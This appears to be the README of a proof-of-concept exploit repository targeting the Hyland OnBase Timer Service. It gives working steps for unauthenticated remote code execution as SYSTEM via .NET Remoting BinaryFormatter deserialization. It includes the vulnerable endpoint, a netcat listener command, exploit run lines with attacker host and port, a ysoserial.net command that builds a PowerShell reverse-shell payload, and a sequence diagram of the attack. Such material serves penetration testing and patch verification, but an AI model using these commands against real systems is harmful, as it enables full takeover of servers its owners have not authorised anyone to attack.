
Proof-of-concept exploit for unauthenticated remote code execution in Hyland OnBase Timer Service via .NET Remoting BinaryFormatter deserialization, achieving SYSTEM privileges.
This repository contains a Proof‑of‑Concept exploit for Hyland OnBase Timer Service unauthenticated remote code execution vulnerability via insecure .NET Remoting BinaryFormatter deserialization.
The vulnerability allows an unauthenticated attacker to send a crafted BinaryFormatter payload to the Timer Service endpoint and execute arbitrary code as NT AUTHORITY\SYSTEM.
The Timer Service exposes a .NET Remoting endpoint:
http://TARGET:8900/TimerServiceAPI.rem
The service accepts unauthenticated BinaryFormatter objects. By supplying a malicious gadget chain (ysoserial.net), arbitrary command execution occurs during deserialization.
Install Python dependency:
pip install requests
Download ysoserial.net:
git clone https://github.com/pwntester/ysoserial.net
nc -lvnp 4444
python3 exploit.py 192.168.10.50 --lhost 192.168.1.100 --lport 4444
The script prints a ysoserial command. Run it in another terminal (Windows / Mono):
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "powershell ..." -o raw > rev_shell.bin
Press ENTER in exploit terminal after payload generation.
If vulnerable → reverse shell connects.
python3 exploit.py 10.10.10.123 --lhost 192.168.5.77 --lport 9001
| Option | Description |
|---|---|
| target | Target IP or hostname |
| --port | Timer Service port (default 8900) |
| --endpoint | TimerServiceAPI.rem / TimerServiceEvents.rem |
| --lhost | Attacker IP |
| --lport | Listener port |
| --gadget | ysoserial gadget chain |
Exploit is blind
Success = reverse shell callback
Service runs as SYSTEM
Try alternate gadget if blocked:
sequenceDiagram
participant A as Attacker
participant Y as ysoserial.net
participant T as Target OnBase Timer Service
participant S as SYSTEM Shell
A->>A: Start netcat listener
A->>Y: Generate BinaryFormatter payload
Y-->>A: rev_shell.bin
A->>T: HTTP POST /TimerServiceAPI.rem
T->>T: BinaryFormatter.Deserialize()
T->>S: Execute gadget chain
S-->>A: Reverse shell connection
This exploit is provided for:
Unauthorized use against systems you do not own or have permission to test is illegal.